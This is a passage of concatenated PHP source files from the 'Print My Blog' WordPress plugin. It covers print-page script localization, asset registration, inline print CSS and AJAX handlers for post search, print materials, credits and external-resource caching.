'columns' => $this->getFromRequest('columns', 1),
'post_type' => $post_type,
'rendering_wait' => $this->getFromRequest('rendering-wait', 500),
'include_inline_js' => (bool) $this->getFromRequest('include-inline-js', false),
'links' => (string) $this->getFromRequest('links', 'include'),
'filters' => (object) $this->getFromRequest('taxonomies', new stdClass()),
'foogallery' => function_exists('foogallery_fs'),
'is_user_logged_in' => is_user_logged_in(),
'format' => $this->getFromRequest('format', 'print'),
'statuses' => $statuses,
'author' => $this->getFromRequest('pmb-author', null),
'post' => $this->getFromRequest('pmb-post', null),
'order' => $order,
'shortcodes' => $this->getFromRequest('shortcodes', null),
];
$lang = $this->getFromRequest('lang', null);
if ($lang) {
$data['lang'] = $lang;
}
// add the before and after filters, if they were provided
$dates = $this->getFromRequest('dates', array());
// Check if they entered the dates backwards.
if (! empty($dates['before']) && ! empty($dates['after']) && $dates['before'] < $dates['after']) {
$dates = [
'after' => $dates['before'],
'before' => $dates['after'],
];
}
if (! empty($dates['after'])) {
$data['filters']->after = $dates['after'] . 'T00:00:00';
}
if (! empty($dates['before'])) {
$data['filters']->before = $dates['before'] . 'T23:59:59';
}
$print_options = new PrintOptions();
foreach ($print_options->postContentOptions() as $option_name => $option_details) {
$data[ $option_name] = (bool)$this->getFromRequest(
$option_name,
false
);
}
$init_error_message = esc_html__(
'There seems to be an error initializing. Please verify you are using an up-to-date web browser.',
'print-my-blog'
);
if (is_user_logged_in()) {
$init_error_message .= "\n"
. esc_html__(
//phpcs:disable Generic.Files.LineLength.TooLong
'Also check the WP REST API isn’t disabled by a security plugin. Feel free to contact Print My Blog support.',
//phpcs:enable
'print-my-blog'
);
}
wp_localize_script(
'pmb_print_page',
'pmb_print_data',
array(
'i18n' => array(
'loading_content' => esc_html__('Loading Content', 'print-my-blog'),
'loading_comments' => esc_html__('Loading Comments', 'print-my-blog'),
'organizing_posts' => esc_html__('Ordering Posts', 'print-my-blog'),
'organizing_comments' => esc_html__('Ordering Comments', 'print-my-blog'),
'rendering_posts' => esc_html__('Placing Content on Page', 'print-my-blog'),
'wrapping_up' => esc_html__('Optimizing for Print', 'print-my-blog'),
'ready' => esc_html__('Print-Page Ready', 'print-my-blog'),
'error_fetching_posts' => esc_html__(
'There was an error fetching posts. It was: ',
'print-my-blog'
),
'no_response' => esc_html__('No response from WP REST API.', 'print-my-blog'),
'error' => esc_html__('Sorry, There was a Problem 😢', 'print-my-blog'),
'troubleshooting' => sprintf(
//phpcs:disable Generic.Files.LineLength.TooLong
// translators:1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag.
esc_html__('%1$sRead our FAQs%2$s, then feel free to ask for help in %3$sthe support forum.%2$s', 'print-my-blog'),
'<a href="https://wordpress.org/plugins/print-my-blog/#%0Athe%20print%20page%20says%20%E2%80%9Cthere%20seems%20to%20be%20an%20error%20initializing%E2%80%A6%E2%80%9D%2C%20or%20is%20stuck%20on%20%E2%80%9Cloading%20content%E2%80%9D%2C%20or%20i%20can%E2%80%99t%20filter%20by%20categories%20or%20terms%20from%20the%20print%20setup%20page%0A" target="_blank">',
//phpcs:enable
'</a>',
'<a href="https://wordpress.org/support/plugin/print-my-blog/" target="_blank">'
),
'comments' => esc_html__('Comments', 'print-my-blog'),
'no_comments' => esc_html__('No Comments', 'print-my-blog'),
// Legacy code, just leave the old sub-optimal translated text.
// phpcs:ignore WordPress.WP.I18n.NoHtmlWrappedStrings
'says' => __('<span class="screen-reader-text says">says:</span>', 'print-my-blog'),
'id' => esc_html__('ID:', 'print-my-blog'),
'by' => esc_html__('By', 'print-my-blog'),
'protected' => esc_html__('Protected:', 'print-my-blog'),
'private' => esc_html__('Private:', 'print-my-blog'),
'init_error' => $init_error_message,
'copied' => esc_html__('Copied! Ready to paste.', 'print-my-blog'),
//phpcs:ignore Generic.Files.LineLength.TooLong
'copy_error' => esc_html__('There was an error copying. You can still select all the text manually and copy it.', 'print-my-blog'),
),
'data' => $data,
)
);
$this->enqueueInlineStyleBasedOnOptions();
$this->loadThemeCompatibilityScriptsAndStylesheets();
}
/**
* @return float
*/
protected function getImageRelativeSize()
{
$requested_size = sanitize_key($this->getFromRequest('image-size', 'full'));
// The actual usable vertical space is quite a bit less than 11 inches; especially when you take
// into account there is the post's header and metainfo.
$page_height = 8;
switch ($requested_size) {
case 'large':
return $page_height * 3 / 4;
case 'medium':
return $page_height / 2;
case 'small':
return $page_height / 4;
case 'none':
return 0;
default:
return $page_height;
}
}
/**
* Loads stylesheets that help certain themes look better on the printed page.
* @since $VID:$
*/
protected function loadThemeCompatibilityScriptsAndStylesheets()
{
$theme = wp_get_theme();
$slug = $theme->get('TextDomain');
$this->loadThemeCompatibilityIfItExists($slug);
$this->loadThemeCompatibilityIfItExists($theme->template);
}
/**
* @param string $slug
*/
protected function loadThemeCompatibilityIfItExists($slug)
{
$theme_slug_path = 'styles/theme-compatibility/' . $slug . '.css';
if (file_exists(PMB_ASSETS_DIR . $theme_slug_path)) {
wp_enqueue_style(
'pmb_print_page_theme_compatibility',
PMB_ASSETS_URL . $theme_slug_path,
array(),
filemtime(PMB_ASSETS_DIR . $theme_slug_path)
);
}
$script_slug_path = 'scripts/theme-compatibility/' . $slug . '.js';
if (file_exists(PMB_ASSETS_DIR . $script_slug_path)) {
wp_enqueue_script(
'pmb_print_page_script_compatibility',
PMB_ASSETS_URL . $script_slug_path,
array('pmb_print_page'),
filemtime(PMB_ASSETS_DIR . $script_slug_path)
);
}
}
/**
* Adds the styles that depend on the user's preferences.
* @since 1.1.0
*/
protected function enqueueInlineStyleBasedOnOptions()
{
$columns = intval($this->getFromRequest('columns', 1));
$post_page_break = (bool)$this->getFromRequest('post-page-break', false);
$font_size = sanitize_key($this->getFromRequest('font-size', 'small'));
$css = "
.entry-content{
column-count: $columns;
}
";
// If it's a multi-column design, remove the margins around "pmb_image"s. They offset the image so that even
// if it takes up the full column width, it's now offset and so spills over onto the other column.
// Removing the margins fixes that. And because "pmb_image"s take up the width, they don't prevent
// the image contained inside them from being centered anyhow. So this seems to be win-win.
if ($columns > 1) {
$css .= '
.pmb-image{
margin-left:0;
margin-right:0;
}
.pmb-image img{
width:100%;
}
.single-featured-image-header img{
width:100%;
}';
}
if ($post_page_break) {
$css .= '.pmb-post-article:not(:first-child){page-break-before:always;}';
$css .= '@media screen{.pmb-post-article:not(:first-child){margin-top:20vw;}}';
}
$font_size_map = array(
'tiny' => '0.50em',
'small' => '0.75em',
// Leave out normal, let the theme decide.
'large' => '1.25em',
);
if (isset($font_size_map[$font_size])) {
$font_size_css = $font_size_map[$font_size];
$css .= ".pmb-posts{font-size:$font_size_css;}
h1{font-size:1.3em !important;}
h2{font-size:1.2em !important;}
h3{font-size:1.1em !important;}
ul, ol, p{margin-bottom:0.5em;margin-top:0.5em;}
blockquote{font-size:1em}";
}
// Dynamically handle adding the CSS to place URLs in parentheses after some hyperlinks
// (but be careful to not put them in headers, image galleries, and other places they look terrible.)
if ($this->getFromRequest('links', '') === 'parens') {
$pre_selects = array(
'.pmb-posts p',
'.pmb-posts ul',
'.pmb-posts ol',
);
$full_css_selctors = array();
foreach ($pre_selects as $pre_select) {
$full_css_selctors[] = $pre_select . ' a[href]:after';
}
$css .= implode(', ', $full_css_selctors) . '{content: " (" attr(href) ")"';
}
// Let's make margin smaller or bigger too, if the text was resized.
wp_add_inline_style(
'pmb_print_page',
$css
);
}
}
// End of file PmbPrintPage.php
// Location: PrintMyBlog\controllers/PmbPrintPage.php
PrintMyBlog/controllers/Common.php 0000644 00000014402 14666776752 0013314 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use Twine\controllers\BaseController;
/**
* Class PmbCommon
*
* Common controller logic that should run on all requests.
*
* @author Mike Nelson
* @since $VID:$
*
*/
class Common extends BaseController
{
/**
* Sets up hooks for both frontend and backend requests.
*/
public function setHooks()
{
add_action(
'wp_enqueue_scripts',
[$this, 'enqueueScripts'],
9
);
add_action(
'admin_enqueue_scripts',
[$this, 'enqueueScripts'],
9
);
$this->registerCommonStuff();
}
/**
* Just registers scripts and styles early on, so that when some other code calls "enqueue_script" or
* "enqueue_style",
* these will be ready.
*/
public function registerCommonStuff()
{
wp_register_script(
'pmb_general',
PMB_SCRIPTS_URL . 'pmb-general.js',
['jquery', 'wp-pointer'],
filemtime(PMB_SCRIPTS_DIR . 'pmb-general.js')
);
wp_register_style(
'jquery-ui',
PMB_ASSETS_URL . 'styles/libs/jquery-ui/jquery-ui.min.css',
array(),
'1.11.4'
);
wp_register_style(
'pmb_print_common',
PMB_ASSETS_URL . 'styles/pmb-print-page-common.css',
array(),
filemtime(PMB_ASSETS_DIR . 'styles/pmb-print-page-common.css')
);
wp_register_style(
'pmb_print_common_pdf',
PMB_ASSETS_URL . 'styles/pmb-print-page-common-pdf.css',
array('pmb_print_common'),
filemtime(PMB_ASSETS_DIR . 'styles/pmb-print-page-common-pdf.css')
);
wp_register_style(
'pmb_pro_page',
PMB_ASSETS_URL . 'styles/pmb-pro-print-page.css',
array('dashicons', 'pmb_print_common'),
filemtime(PMB_ASSETS_DIR . 'styles/pmb-pro-print-page.css')
);
wp_register_script(
'pmb_pro_page',
PMB_ASSETS_URL . 'scripts/pmb-pro-print-page.js',
array('jquery'),
filemtime(PMB_ASSETS_DIR . 'scripts/pmb-pro-print-page.js')
);
wp_register_script(
'jquery-debounce',
PMB_ASSETS_URL . 'scripts/libs/jquery.debounce-1.1.min.js',
['jquery'],
'1.1'
);
wp_register_script(
'pmb-select2',
PMB_ASSETS_URL . 'scripts/libs/select2/select2.min.js',
[],
'4.0.6'
);
wp_register_style(
'pmb-select2',
PMB_ASSETS_URL . 'styles/libs/select2.min.css',
[],
'4.0.6'
);
wp_register_script(
'pmb-modal',
PMB_ASSETS_URL . 'scripts/pmb-modal.js',
['jquery-ui-dialog'],
'1.0.0'
);
wp_register_script(
'docraptor',
PMB_SCRIPTS_URL . 'docraptor.js',
[],
'1.0.0'
);
// Enqueue the CSS for compatibility with known troublemaking plugins.
wp_register_style(
'pmb-plugin-compatibility',
PMB_ASSETS_URL . 'styles/plugin-compatibility.css',
array(),
filemtime(PMB_ASSETS_DIR . 'styles/plugin-compatibility.css')
);
wp_register_script(
'pmb-qrcode',
PMB_SCRIPTS_URL . 'libs/qrcode.min.js',
[],
filemtime(PMB_SCRIPTS_DIR . 'libs/qrcode.min.js')
);
wp_register_script(
'pmb-beautifier-functions',
PMB_SCRIPTS_URL . 'print-page-beautifier-functions.js',
['pmb-qrcode'],
filemtime(PMB_SCRIPTS_DIR . 'print-page-beautifier-functions.js')
);
wp_localize_script(
'pmb-beautifier-functions',
'pmb',
[
'site_url' => site_url(),
'site_url_attr' => esc_attr(site_url()),
'play_button_gif' => PMB_IMAGES_URL . 'play-button.gif',
]
);
wp_register_script(
'pmb-setup-page',
PMB_ASSETS_URL . 'scripts/setup-page.js',
['jquery-debounce', 'pmb-select2', 'wp-api', 'jquery-ui-datepicker'],
filemtime(PMB_ASSETS_DIR . 'scripts/setup-page.js')
);
wp_register_style(
'pmb-setup-page',
PMB_ASSETS_URL . 'styles/setup-page.css',
['pmb_common', 'pmb-select2', 'jquery-ui'],
filemtime(PMB_ASSETS_DIR . 'styles/setup-page.css')
);
wp_localize_script(
'pmb-setup-page',
'pmb_setup_page',
[
'translations' => [
'unknown_site_name' => esc_html__('Unknown site name', 'print-my-blog'),
'no_categories' => esc_html__('No categories available.', 'print-my-blog'),
],
'data' => [
'site_input_selector' => '#pmb-site',
'spinner_selector' => '#pmb-site-checking',
'dynamic_categories_spinner_selector' => '#pmb-categories-spinner',
'site_ok_selector' => '#pmb-site-ok',
'site_bad_selector' => '#pmb-site-bad',
'site_status_selector' => '#pmb-site-status',
'post_type_selector' => '.pmb-post-type',
'dynamic_categories_selector' => '#pmb-dynamic-categories',
'default_rest_url' => function_exists('rest_url') ? rest_url('/wp/v2') : '',
'ajax_url' => admin_url('admin-ajax.php'),
'author_selector' => '#pmb-author-select',
'nonce' => wp_create_nonce('wp_rest'),
'order_date_selector' => '#pmb-order-by-date',
'order_menu_selector' => '#pmb-order-by-menu',
],
]
);
}
/**
* Actually enqueues common scripts and styles that should be available on all page requests.
*/
public function enqueueScripts()
{
wp_enqueue_style(
'pmb_common',
PMB_ASSETS_URL . 'styles/pmb-common.css',
array(),
filemtime(PMB_ASSETS_DIR . 'styles/pmb-common.css')
);
}
}
PrintMyBlog/controllers/Ajax.php 0000644 00000045313 14666776752 0012754 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use mnelson4\rest_api_detector\RestApiDetector;
use mnelson4\rest_api_detector\RestApiDetectorError;
use PrintMyBlog\db\PostFetcher;
use PrintMyBlog\entities\ProjectGeneration;
use PrintMyBlog\entities\ProjectProgress;
use PrintMyBlog\orm\managers\ProjectManager;
use PrintMyBlog\services\ExternalResourceCache;
use PrintMyBlog\services\FileFormatRegistry;
use PrintMyBlog\services\PmbCentral;
use PrintMyBlog\system\Context;
use PrintMyBlog\system\CustomPostTypes;
use Twine\controllers\BaseController;
use Twine\helpers\Array2;
use Twine\orm\managers\PostWrapperManager;
use Twine\services\filesystem\File;
use WP_Error;
use WP_Post_Type;
use WP_Query;
use PrintMyBlog\orm\entities\Project;
/**
* Class PmbAjax
*
* Handles AJAX requests
*
* @package Print My Blog
* @author Mike Nelson
* @since 1.0.0
*
*/
class Ajax extends BaseController
{
/**
* @var ProjectManager
*/
protected $project_manager;
/**
* @var FileFormatRegistry
*/
protected $format_registry;
/**
* @var PostFetcher
*/
protected $post_fetcher;
/**
* @var PmbCentral
*/
protected $pmb_central;
/**
* @var PostWrapperManager
*/
protected $post_manager;
/**
* @var ExternalResourceCache
*/
protected $external_resouce_cache;
/**
* @param ProjectManager $project_manager
* @param FileFormatRegistry $format_registry
* @param PostFetcher $post_fetcher
* @param PmbCentral $pmb_central
* @param PostWrapperManager $post_manager
* @param ExternalResourceCache $external_resource_map
*/
public function inject(
ProjectManager $project_manager,
FileFormatRegistry $format_registry,
PostFetcher $post_fetcher,
PmbCentral $pmb_central,
PostWrapperManager $post_manager,
ExternalResourceCache $external_resource_map
) {
$this->project_manager = $project_manager;
$this->format_registry = $format_registry;
$this->post_fetcher = $post_fetcher;
$this->pmb_central = $pmb_central;
$this->post_manager = $post_manager;
$this->external_resouce_cache = $external_resource_map;
}
/**
* Sets hooks that we'll use in the admin.
* @since 1.0.0
*/
public function setHooks()
{
$this->addUnauthenticatedCallback(
'pmb_fetch_external_resource',
'handleFetchExternalResource'
);
$this->addUnauthenticatedCallback(
'pmb_fetch_rest_api_url',
'handleFetchRestApiUrl'
);
$this->addUnauthenticatedCallback(
'pmb_project_status',
'handleProjectStatus'
);
add_action('wp_ajax_pmb_post_search', [$this, 'handlePostSearch']);
add_action('wp_ajax_pmb_add_print_material', [$this, 'addPrintMaterial']);
add_action('wp_ajax_pmb_reduce_credits', [$this, 'reduceCredits']);
add_action('wp_ajax_pmb_report_error', [$this, 'reportError']);
add_action('wp_ajax_pmb_duplicate_print_material', [$this, 'duplicatePrintMaterial']);
}
/**
* @param string $ajax_action
* @param string $method_name
*/
protected function addUnauthenticatedCallback($ajax_action, $method_name)
{
$callback = [$this, $method_name];
add_action('wp_ajax_' . $ajax_action, $callback);
add_action('wp_ajax_nopriv_' . $ajax_action, $callback);
}
/**
* Handles a request to get a REST API url.
*/
public function handleFetchRestApiUrl()
{
try {
// Use nonce set in \PrintMyBlog\controllers\Common::registerCommonStuff() and passed in setup-page.js's PmbSetupPage::updateRestApiUrl
if (! isset($_POST['_nonce']) || ! wp_verify_nonce(sanitize_key($_POST['_nonce']), 'wp_rest')) {
wp_send_json_error(
[
'error' => 'nonce_failure',
'message' => 'Nonce failure',
]
);
}
$rest_api_detector = new RestApiDetector(isset($_POST['site']) ? esc_url_raw(wp_unslash($_POST['site'])) : '');
} catch (RestApiDetectorError $error) {
wp_send_json_error(
[
'error' => $error->stringCode(),
'message' => $error->getMessage(),
]
);
}
wp_send_json_success(
[
'name' => $rest_api_detector->getName(),
'site' => $rest_api_detector->getSite(),
'proxy_for' => $rest_api_detector->getRestApiUrl(),
'is_local' => $rest_api_detector->isLocal(),
]
);
}
/**
* Proceeds with loading printing a project and returns a response indicating the status.
* @deprecated in 3.24.0; instead use Frontend::pmbAjax()
*/
public function handleProjectStatus()
{
if (! isset($_POST['_nonce']) || ! wp_verify_nonce(sanitize_key($_POST['_nonce']), 'pmb-project-edit')) {
wp_send_json_error(
[
'error' => 'nonce_failure',
'message' => 'Nonce failure',
]
);
return;
}
// report errors please
if ( defined('PMB_DEBUG') ? PMB_DEBUG : false ) {
// We want to see errors, so make sure they're set to display.
// phpcs:disable WordPress.PHP.DevelopmentFunctions.prevent_path_disclosure_error_reporting, WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_error_reporting, WordPress.PHP.IniSet.display_errors_Blacklisted
error_reporting(E_ALL);
ini_set('display_errors', 1);
// phpcs:enable WordPress.PHP.DevelopmentFunctions.prevent_path_disclosure_error_reporting, WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_error_reporting, WordPress.PHP.IniSet.display_errors_Blacklisted
}
// Find project by ID.
// @var $project Project just so PHPstorm knows what it's dealing with.
$project = $this->project_manager->getById((int)Array2::setOr($_REQUEST, 'ID', ''));
$format = $this->format_registry->getFormat(sanitize_key(Array2::setOr($_REQUEST, 'format', '')));
// @var $project_generation ProjectGeneration just so PHPstorm knows what I'm doing.
$project_generation = $project->getGenerationFor($format);
$project_generation->deleteGeneratedFiles();
$project_generation->clearDirty();
$project->getProgress()->markStepComplete(ProjectProgress::GENERATE_STEP);
$done = $project_generation->generateIntermediaryFile();
if ($done) {
$url = $project_generation->getGeneratedIntermediaryFileUrl();
} else {
$url = null;
}
// If we're all done, return the file.
$response = [
'url' => $url,
'media' => $format->slug() === 'digital_pdf' ? 'screen' : 'print',
];
wp_send_json($response);
exit;
}
/**
* Gets results when searching for a post.
*/
public function handlePostSearch()
{
if (! isset($_GET['_wpnonce']) || ! check_admin_referer('pmb-project-edit')) {
?>
<div class="pmb-no-results no-drag">
<?php
esc_html_e(
'Nonce failure. Please refresh the page.',
'print-my-blog'
);
?>
</div>
<?php
}
$requested_posts = 50;
$query_params = [
'posts_per_page' => $requested_posts,
'ignore_sticky_posts' => true,
];
$project = $this->project_manager->getById(Array2::setOr($_GET, 'project', 0));
if (! empty($_GET['page'])) {
$query_params['paged'] = (int)$_GET['page'];
$page = $query_params['paged'];
} else {
$page = 1;
}
if (! empty($_GET['pmb-search'])) {
$query_params['s'] = sanitize_text_field(wp_unslash($_GET['pmb-search']));
}
if (! empty($_GET['pmb-post-type'])) {
$query_params['post_type'] = sanitize_key($_GET['pmb-post-type']);
} else {
$query_params['post_type'] = $this->post_fetcher->getProjectPostTypes('names');
}
if (! empty($_GET['pmb-status'])) {
$query_params['post_status'] = array_map(
function ($post_status) {
return sanitize_key($post_status);
},
// Calm down PHPCS. We're sanitizing right now.
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
$_GET['pmb-status']
);
}
if (! empty($_GET['taxonomies'])) {
$tax_query = [];
// Calm down PHPCS. We're sanitizing right now.
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
foreach ($_GET['taxonomies'] as $taxonomy => $ids) {
$tax_query[] = [
'taxonomy' => sanitize_key($taxonomy),
'field' => 'term_id',
'terms' => array_map(
function ($taxonomy_id) {
return (int)$taxonomy_id;
},
$ids
),
];
}
if (! empty($tax_query)) {
// Sorry, yes using tax query might make this query slow. But folks legitimately might want this.
// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query
$query_params['tax_query'] = $tax_query;
}
}
if (! empty($_GET['pmb-author'])) {
$query_params['author'] = (int)$_GET['pmb-author'];
}
$date_query = [];
if (! empty($_GET['pmb-date'])) {
if (! empty($_GET['pmb-date']['from'])) {
$date_query['after'] = sanitize_key($_GET['pmb-date']['from']);
}
if (! empty($_GET['pmb-date']['to'])) {
$date_query['before'] = sanitize_key($_GET['pmb-date']['to']);
}
if ($date_query) {
$date_query['inclusive'] = true;
$query_params['date_query'] = $date_query;
}
}
if (! empty($_GET['exclude'])) {
$query_params['post__not_in'] = array_map(
'intval',
// Calm down PHPCS. We're sanitizing right now.
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
explode(',', $_GET['exclude'])
);
}
if (! empty($_GET['pmb-order-by'])) {
$query_params['orderby'] = sanitize_key($_GET['pmb-order-by']);
}
if (! empty($_GET['pmb-order'])) {
$query_params['order'] = $_GET['pmb-order'] === 'ASC' ? 'ASC' : 'DESC';
}
$posts = get_posts(apply_filters('\PrintMyBlog\controllers\Ajax->handlePostSearch $query_params', $query_params));
$posts = apply_filters('\PrintMyBlog\controllers\Ajax->handlePostSearch $posts', $posts, $query_params);
foreach ($posts as $post) {
pmb_content_item($post, $project, 0);
}
if ($requested_posts === count($posts)) {
?>
<div class="pmb-show-more">
<div
class="load-more-button button no-drag"
tabindex="0" id="pmb-load-more"
data-page="<?php echo esc_attr($page + 1); ?>"><span
class="dashicons dashicons-arrow-down-alt"></span>
<?php esc_html_e('Show more...', 'print-my-blog'); ?>
</div>
</div>
<?php
} elseif (count($posts) === 0 && (int)$page === 1) {
?>
<div class="pmb-no-results no-drag">
<?php
esc_html_e(
'No results. Try changing your search and filter criteria.',
'print-my-blog'
);
?>
</div>
<?php
}
exit;
}
/**
* Adds a print material from the editing content page.
*/
public function addPrintMaterial()
{
if (! check_admin_referer('pmb-project-edit')) {
return wp_send_json_error(
[
'code' => 'nonce_failure',
'message' => __('Nonce failure', 'print-my-blog'),
]
);
}
if (! current_user_can('publish_pmb_contents')) {
return wp_send_json_error(
[
'code' => 'unauthorized',
'message' => __('You do not have sufficient permissions to do this.', 'print-my-blog'),
]
);
}
$title = Array2::setOr($_REQUEST, 'title', '');
$project_id = Array2::setOr($_REQUEST, 'project', '');
$project = $this->project_manager->getById($project_id);
$post_id = wp_insert_post(
[
'post_title' => $title,
'post_status' => 'private',
'post_type' => CustomPostTypes::CONTENT,
]
);
$post = get_post($post_id);
ob_start();
pmb_content_item($post, $project);
$html = ob_get_clean();
wp_send_json_success(
[
'html' => $html,
'post_ID' => $post_id,
]
);
exit;
}
/**
* Handles a request to duplicate a post as a print material and then returns the HTML of the row in the content-editing step.
*/
public function duplicatePrintMaterial()
{
if (! check_admin_referer('pmb-project-edit')) {
return wp_send_json_error(
[
'code' => 'nonce_failure',
'message' => __('Nonce failure', 'print-my-blog'),
]
);
}
if (! current_user_can('publish_pmb_contents')) {
return wp_send_json_error(
[
'code' => 'unauthorized',
'message' => __('You do not have sufficient permissions to do this.', 'print-my-blog'),
]
);
}
$post_id = (int)Array2::setOr($_REQUEST, 'id', '');
$project_id = (int)Array2::setOr($_REQUEST, 'project', 0);
$project = $this->project_manager->getById($project_id);
$wrapped_post = $this->post_manager->getById($post_id);
// check if a duplicate was already made
$print_materials = $this->post_manager->getByPostMeta('_pmb_original_post', (string)$post_id, 1);
if ($print_materials) {
$print_material = reset($print_materials);
$print_material_post = $print_material->getWpPost();
} else {
$print_material_post = $wrapped_post->duplicateAsPrintMaterial();
}
ob_start();
pmb_content_item($print_material_post, $project);
$html = ob_get_clean();
wp_send_json_success(
[
'html' => $html,
'post_ID' => $print_material->ID,
]
);
exit;
}
/**
* Reduces the cached amount of credits this site THINKS it has (what really matters is how many the server
* says we have.)
*/
public function reduceCredits()
{
if (! check_admin_referer('pmb_pro_page')) {
return wp_send_json_error(
[
'code' => 'nonce_failure',
'message' => __('Nonce failure', 'print-my-blog'),
]
);
}
$updated_credit_info = $this->pmb_central->reduceCredits(pmb_fs()->_get_license()->id);
wp_send_json_success(
$updated_credit_info
);
exit;
}
/**
* Reports an error that was seen client-side to the server (e.g., an API error with DocRaptor)
*/
public function reportError()
{
if (! check_admin_referer('pmb_pro_page')) {
return wp_send_json_error(
[
'code' => 'nonce_failure',
'message' => __('Nonce failure', 'print-my-blog'),
]
);
}
$project_id = (int)Array2::setOr($_REQUEST, 'project_id', '');
$format = sanitize_key(Array2::setOr($_REQUEST, 'format', ''));
$error_message = esc_html(Array2::setOr($_REQUEST, 'error', ''));
$project = $this->project_manager->getById($project_id);
if (! $project) {
wp_send_json_error(
[
'error' => 'Could not find project with ID ' . $project_id,
]
);
exit;
}
$generation = $project->getGenerationFor($format);
if (! $generation instanceof ProjectGeneration) {
wp_send_json_error(
[
'error' => sprintf(
'Could not find project generation for project %d on format %s',
$project_id,
$format
),
]
);
exit;
}
$generation->setLastError($error_message);
wp_send_json_success();
exit;
}
/**
* Fetches an external image and caches it on the server in the uploads directory.
*/
public function handleFetchExternalResource()
{
// check print page nonce. Access to the print page is only shared with authorized users and necessary external
// services. So it acts as a temporary access token.
$valid_nonce = check_admin_referer('pmb_pro_page', '_pmb_nonce');
$authorized = current_user_can('edit_pmb_projects');
if (
$valid_nonce
&& $authorized
) {
// ok fetch external resource
$url = isset($_REQUEST['resource_url']) ? esc_url_raw(wp_unslash($_REQUEST['resource_url'])) : '';
$copy_url = $this->external_resouce_cache->getLocalUrlFromExternalUrl($url);
if ($copy_url === null) {
$copy_url = $this->external_resouce_cache->writeAndMapFile($url);
}
wp_send_json_success(
[
'copy_url' => $copy_url,
]
);
}
wp_send_json_error(
[
'nonce_valid' => $valid_nonce,
'current_user_authenticated' => $authorized,
]
);
}
}
PrintMyBlog/controllers/helpers/ProjectsListTable.php 0000644 00000016512 14666776752 0017127 0 ustar 00 <?php
namespace PrintMyBlog\controllers\helpers;
use PrintMyBlog\controllers\Admin;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\managers\ProjectManager;
use PrintMyBlog\system\Context;
use PrintMyBlog\system\CustomPostTypes;
use WP_List_Table;
use WP_Post;
use WP_Query;
// phpcs:disable PSR12.Files.FileHeader.IncorrectOrder
// phpcs:disable PSR1.Methods.CamelCapsMethodName.NotCamelCaps
/**
* Class ProjectsListTable
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class ProjectsListTable extends WP_List_Table {
/**
* @var mixed|object
*/
protected $project_manager;
/**
* ProjectsListTable constructor.
*/
public function __construct() {
parent::__construct( array(
'singular' => 'project',
'plural' => 'projects',
) );
}
/** * Prepare the items for the table to process
* * @return Void
*/
public function prepare_items() {
$columns = $this->get_columns();
$hidden = $this->get_hidden_columns();
$sortable = $this->get_sortable_columns();
$this->_column_headers = array($columns, $hidden, $sortable);
$per_page = $this->get_items_per_page( 'records_per_page', 10 );
$current_page = $this->get_pagenum();
$total_items = self::recordCount();
$data = $this->get_records( $per_page, $current_page );
$this->set_pagination_args( [
'total_items' => $total_items,
'per_page' => $per_page,
] );
$this->items = $data;
}
/**
* Retrieve records data from the database
* @param int $per_page
* @param int $page_number
* @return mixed
*/
public function get_records( $per_page = 10, $page_number = 1 ) {
return $this->getProjectManager()->getAll( $this->wp_query( $per_page, $page_number ) );
}
/**
* @param int $per_page
* @param int $page_number
* @return WP_Query
*/
protected function wp_query( $per_page = null, $page_number = null ) {
$params = [];
if ( isset( $per_page ) ) {
$params['posts_per_page'] = $per_page;
}
if ( isset( $page_number ) ) {
$params['paged'] = $page_number;
}
return new WP_Query($params);
}
/**
* Override the parent columns method. Defines the columns to use in your listing table
* * @return array
*/
public function get_columns() {
$columns = [
'cb' => '<input type="checkbox" />',
'title' => __( 'Title', 'print-my-blog' ),
'format' => __( 'Format', 'print-my-blog' ),
'date' => __( 'Date', 'print-my-blog' ),
];
return $columns;
}
/**
* There are no hidden columns.
* @return array
*/
public function get_hidden_columns() {
// Setup Hidden columns and return them
return array();
}
/**
* Columns to make sortable.
* * @return array
*/
public function get_sortable_columns() {
$sortable_columns = array();
return $sortable_columns;
}
/**
* @return array
*/
protected function get_bulk_actions() {
return [
'delete' => __( 'Delete' ),
];
}
/**
* Render the bulk edit checkbox
* @param Project $project
* @return string
*/
public function column_cb( $project ) {
return sprintf( '<input type="checkbox" name="ID[]" value="%s" />', $project->getWpPost()->ID );
}
/**
* Render the bulk edit checkbox
* @param Project $project
*/
public function column_title( Project $project ) {
$post = $project->getWpPost();
$title = ( $post->post_title ? $post->post_title : __( 'Untitled', 'print-my-blog' ) );
$steps = $project->getProgress()->getSteps();
$progress = $project->getProgress()->getStepProgress();
$next_step = $project->getProgress()->getNextStep();
$steps_to_urls = $project->getProgress()->stepsToUrls();
printf( '<strong><a href="%s" class="btn btn-primary"/>%s</a></strong>', esc_url_raw( $steps_to_urls[$next_step] ), esc_html( $title ) );
?><div class="pmb-row-actions row-actions">
<?php
foreach ( $steps as $slug => $display_text ) {
$completed = ( $progress[$slug] ? true : false );
$next = ( $next_step === $slug ? true : false );
$accessible = $completed || $next;
?>
<span class="pmb-step
<?php
echo esc_attr( ( $completed ? 'pmb-completed' : 'pmb-incomplete' ) );
?>
<?php
echo esc_attr( ( $next ? 'pmb-next-step' : '' ) );
?>
<?php
echo esc_attr( ( $accessible ? 'pmb-accessible-step' : 'pmb-inaccessible-step' ) );
?>
">
<?php
if ( $completed || $next ) {
?>
<a href="<?php
echo esc_attr( $steps_to_urls[$slug] );
?>">
<?php
}
echo esc_html( $display_text );
if ( $completed || $next ) {
?>
</a>
<?php
}
?>
</span>
<?php
}
?>
<span class="pmb-dont-break-phrase">|
<?php
esc_html_e( 'Duplicate', 'print-my-blog' );
echo ' ';
// We want to show HTML here.
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo pmb_hover_tip( __( 'Feature included in Professional and Business licenses', 'print-my-blog' ) );
?>
